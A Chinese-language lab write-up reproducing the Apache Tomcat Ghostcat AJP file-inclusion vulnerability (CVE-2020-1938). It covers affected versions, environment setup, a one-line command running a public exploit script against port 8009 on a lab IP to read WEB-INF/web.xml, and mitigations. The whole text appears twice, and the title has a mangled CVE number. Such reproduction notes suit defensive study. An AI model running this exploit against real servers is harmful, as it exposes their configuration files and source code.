Apache-Tomcat-Ajp幽灵猫漏洞复现(cve--1938|CNVD--10487)

时间:2024-03-26 19:26:01

漏洞说明#

ApacheTomcat都是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。
Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。

漏洞危害#

由于Tomcat默认开启的AJP服务。端口号为8009,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web上的任意文件。

漏洞编号#

CVE-2020-1938

CNVD-2020-10487

影响范围#

该文件包含漏洞影响以下版本:
Apache Tomcat = 6
7 <= Apache Tomcat < 7.0.100
8 <= Apache Tomcat < 8.5.51
9 <= Apache Tomcat < 9.0.31

漏洞复现#

环境 centos7 apache-tomcat-8.5.32

环境搭建#

centos7安装git,如果有git则不用安装

yum install git -y

安装完成后使用下面的命令克隆环境

git clone https://github.com/laolisafe/CVE-2020-1938

解压Apache

unzip apache-tomcat-8.5.32.zip

Apache-Tomcat-Ajp幽灵猫漏洞复现(cve-2020-1938|CNVD-2020-10487)

Apachebin目录下,添加执行权限,我这里给全部权限

Apache-Tomcat-Ajp幽灵猫漏洞复现(cve-2020-1938|CNVD-2020-10487)
启动Apache,注意有先安装java环境

sh startup.sh

Apache-Tomcat-Ajp幽灵猫漏洞复现(cve-2020-1938|CNVD-2020-10487)

查看端口,8009端口是开启的

Apache-Tomcat-Ajp幽灵猫漏洞复现(cve-2020-1938|CNVD-2020-10487)

Apache-Tomcat-Ajp幽灵猫漏洞复现(cve-2020-1938|CNVD-2020-10487)

漏洞利用#

下载exp
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi,我们这里读取WEB-INF/web.xml文件

python CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f WEB-INF/web.xml 192.168.17.228

Apache-Tomcat-Ajp幽灵猫漏洞复现(cve-2020-1938|CNVD-2020-10487)

 

解决方案#

1、临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉
2、配置ajp配置中的secretRequiredsecret属性来限制认证
3、官方下载最新版下载地址:
https://tomcat.apache.org/download-70.cgi
https://tomcat.apache.org/download-80.cgi
https://tomcat.apache.org/download-90.cgi
或者github下载
https://github.com/apache/tomcat/releases

漏洞说明#

ApacheTomcat都是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。
Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。

漏洞危害#

由于Tomcat默认开启的AJP服务。端口号为8009,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web上的任意文件。

漏洞编号#

CVE-2020-1938

CNVD-2020-10487

影响范围#

该文件包含漏洞影响以下版本:
Apache Tomcat = 6
7 <= Apache Tomcat < 7.0.100
8 <= Apache Tomcat < 8.5.51
9 <= Apache Tomcat < 9.0.31

漏洞复现#

环境 centos7 apache-tomcat-8.5.32

环境搭建#

centos7安装git,如果有git则不用安装

yum install git -y

安装完成后使用下面的命令克隆环境

git clone https://github.com/laolisafe/CVE-2020-1938

解压Apache

unzip apache-tomcat-8.5.32.zip

Apache-Tomcat-Ajp幽灵猫漏洞复现(cve-2020-1938|CNVD-2020-10487)

Apachebin目录下,添加执行权限,我这里给全部权限

Apache-Tomcat-Ajp幽灵猫漏洞复现(cve-2020-1938|CNVD-2020-10487)
启动Apache,注意有先安装java环境

sh startup.sh

Apache-Tomcat-Ajp幽灵猫漏洞复现(cve-2020-1938|CNVD-2020-10487)

查看端口,8009端口是开启的

Apache-Tomcat-Ajp幽灵猫漏洞复现(cve-2020-1938|CNVD-2020-10487)

Apache-Tomcat-Ajp幽灵猫漏洞复现(cve-2020-1938|CNVD-2020-10487)

漏洞利用#

下载exp
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi,我们这里读取WEB-INF/web.xml文件

python CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f WEB-INF/web.xml 192.168.248.129

Apache-Tomcat-Ajp幽灵猫漏洞复现(cve-2020-1938|CNVD-2020-10487)

 

解决方案#

1、临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉
2、配置ajp配置中的secretRequiredsecret属性来限制认证
3、官方下载最新版下载地址:
https://tomcat.apache.org/download-70.cgi
https://tomcat.apache.org/download-80.cgi
https://tomcat.apache.org/download-90.cgi
或者github下载
https://github.com/apache/tomcat/releases